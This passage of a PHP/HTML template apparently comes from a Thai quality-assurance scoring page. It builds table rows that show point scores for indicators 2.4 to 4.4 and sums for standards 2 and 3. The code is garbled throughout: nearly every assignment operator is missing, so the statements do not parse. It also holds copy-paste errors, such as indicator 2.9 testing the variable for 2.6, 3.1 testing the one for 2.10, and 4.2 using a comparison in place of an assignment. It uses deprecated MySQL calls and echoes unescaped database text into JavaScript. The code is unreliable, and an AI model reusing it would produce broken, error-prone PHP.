                              <tr>
                                <td width="25%" bgcolor="#E9FAFE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S24 
$rs[S24];
                          if (
$S24== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E0F8FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S24 
$rs[S24];
                          if (
$S24== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#CFF2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S24 
$rs[S24];
                          if (
$S24== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#C0F0FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S24 
$rs[S24];
                          if (
$S24 == 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='2.5'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">2.5</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#E9FAFE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S25 
$rs[S25];
                          if (
$S25== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E0F8FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S25 
$rs[S25];
                          if (
$S25== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#CFF2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S25 
$rs[S25];
                          if (
$S25== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#C0F0FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S25 
$rs[S25];
                          if (
$S25== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='2.6'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">2.6</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#E9FAFE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S26 
$rs[S26];
                          if (
$S26== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E0F8FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S26 
$rs[S26];
                          if (
$S26== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#CFF2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S26 
$rs[S26];
                          if (
$S26== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#C0F0FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S26 
$rs[S26];
                          if (
$S26== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='2.7'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">2.7</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#E9FAFE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S27 
$rs[S27];
                          if (
$S27== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E0F8FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S27 
$rs[S27];
                          if (
$S27== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#CFF2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S27 
$rs[S27];
                          if (
$S27== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#C0F0FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S27 
$rs[S27];
                          if (
$S27== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='2.8'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">2.8</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#E9FAFE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S28 
$rs[S28];
                          if (
$S28== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E0F8FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S28 
$rs[S28];
                          if (
$S28== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#CFF2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S28 
$rs[S28];
                          if (
$S28== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#C0F0FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S28 
$rs[S28];
                          if (
$S28== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='2.9'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">2.9</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#E9FAFE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S29 
$rs[S29];
                          if (
$S26== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E0F8FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S29 
$rs[S29];
                          if (
$S29== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#CFF2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S29 
$rs[S29];
                          if (
$S29== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#C0F0FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S29 
$rs[S29];
                          if (
$S29== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='2.10'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d"> 2.10</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#E9FAFE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S210 
$rs[S210];
                          if (
$S210== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E0F8FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S210 
$rs[S210];
                          if (
$S210== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#CFF2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S210 
$rs[S210];
                          if (
$S210== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#C0F0FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S210 
$rs[S210];
                          if (
$S210== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#CCCCCC"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr bgcolor="#FFFFE8">
                                <td width="50%"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>รวมมาตรฐานที่2</strong></font></div></td>
                                <td width="50%"><div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">
                                    <?php
  $SumStd2 
$rs[S21] + $rs[S22] + $rs[S23] + $rs[S24] + $rs[S25] + $rs[S26] + $rs[S27] + $rs[S28] + $rs[S29] + $rs[S210];
  echo
"$SumStd2";
  
?>
                                </font></strong></div></td>
                              </tr>
                          </table></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">3.0</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='3.1'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">3.1</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FEEFED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S31 
$rs[S31];
                          if (
$S31== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEE6E2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S31 
$rs[S31];
                          if (
$S210== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEE3DE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S31 
$rs[S31];
                          if (
$S31== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEDAD3"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S31 
$rs[S31];
                          if (
$S31== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"><a href="Standard/Std3/Topic3_1.php" class="c">ผลลัพธ์ 
                            3.1</a></font></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='3.2'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">3.2</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FEEFED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S32 
$rs[S32];
                          if (
$S32== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEE6E2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S32 
$rs[S32];
                          if (
$S32== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEE3DE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S32 
$rs[S32];
                          if (
$S32== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEDAD3"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S32 
$rs[S32];
                          if (
$S32== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"><a href="Standard/Std3/Topic3_2.php" class="c">ผลลัพธ์ 
                            3.2</a></font></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='3.3'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">3.3</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FEEFED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S33 
$rs[S33];
                          if (
$S33== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEE6E2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S33 
$rs[S33];
                          if (
$S33== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEE3DE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S33 
$rs[S33];
                          if (
$S33== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEDAD3"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S33 
$rs[S33];
                          if (
$S33== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='3.4'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">3.4</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FEEFED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S34
$rs[S34];
                          if (
$S34== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEE6E2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S34 
$rs[S34];
                          if (
$S34== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEE3DE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S34 
$rs[S34];
                          if (
$S34== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEDAD3"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S34
$rs[S34];
                          if (
$S34== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='3.5'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">3.5</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FEEFED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S35 
$rs[S35];
                          if (
$S35== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEE6E2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S35 
$rs[S35];
                          if (
$S35== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEE3DE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S35
$rs[S35];
                          if (
$S35== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FEDAD3"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S35 
$rs[S35];
                          if (
$S35== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='3.6'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">3.6</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#FEEFED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S36
$rs[S36];
                          if (
$S36== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#FEE6E2"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S36 
$rs[S36];
                          if (
$S36== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#FEE3DE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S36 
$rs[S36];
                          if (
$S36== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#FEDAD3"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S36 
$rs[S36];
                          if (
$S36== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#CCCCCC"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr bgcolor="#FFFFE8">
                                <td width="50%"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>รวมมาตรฐานที่3</strong></font></div></td>
                                <td width="50%"><div align="center"><strong><font color="#FF0000" size="4" face="Tahoma">
                                    <?php
  $SumStd3 
$rs[S31] + $rs[S32] + $rs[S33] + $rs[S34] + $rs[S35] + $rs[S36] ;
  echo
"$SumStd3";
  
?>
                                </font></strong></div></td>
                              </tr>
                          </table></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">4.0</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='4.1'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">4.1</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FEFAED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S41 
$rs[S41];
                          if (
$S41== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FDF5DB"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S41 
$rs[S41];
                          if (
$S41== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FCF1CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S41 
$rs[S41];
                          if (
$S41== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FBEDBD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S41 
$rs[S41];
                          if (
$S41== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='4.2'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">4.2</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FEFAED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S42 
$rs[S42];
                          if (
$S42== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FDF5DB"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S42 
$rs[S42];
                          if (
$S42== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FCF1CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S42 
$rs[S42];
                          if (
$S42== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FBEDBD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S42 
== $rs[S42];
                          if (
$S42== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='4.3'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">4.3</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FEFAED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S43 
$rs[S43];
                          if (
$S43== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FDF5DB"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S43 
$rs[S43];
                          if (
$S43== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FCF1CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S43 
$rs[S43];
                          if (
$S43== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FBEDBD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S43 
$rs[S43];
                          if (
$S43== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
                                </tr>
                              </table>
                          </div></td>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"><a href="Standard/Std4/Topic4_3.php" class="c">ผลลัพธ์ 
                            4.3</a></font></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='4.4'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">4.4</a></font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr>
                                  <td width="25%" bgcolor="#FEFAED"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S44 
$rs[S44];
                          if (
$S44== 2)
                             echo
"2 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FDF5DB"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S44 
$rs[S44];
                          if (
$S44== 5)
                             echo
"5 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FCF1CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S44 
$rs[S44];
                          if (
$S44== 7)
                             echo
"7 คะแนน";
                    
?>
                                  </font></div></td>
                                  <td width="25%" bgcolor="#FBEDBD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                      <?php
                      $S44 
$rs[S44];
                          if (
$S44== 10)
                             echo
"10 คะแนน";
                    
?>
                                  </font></div></td>
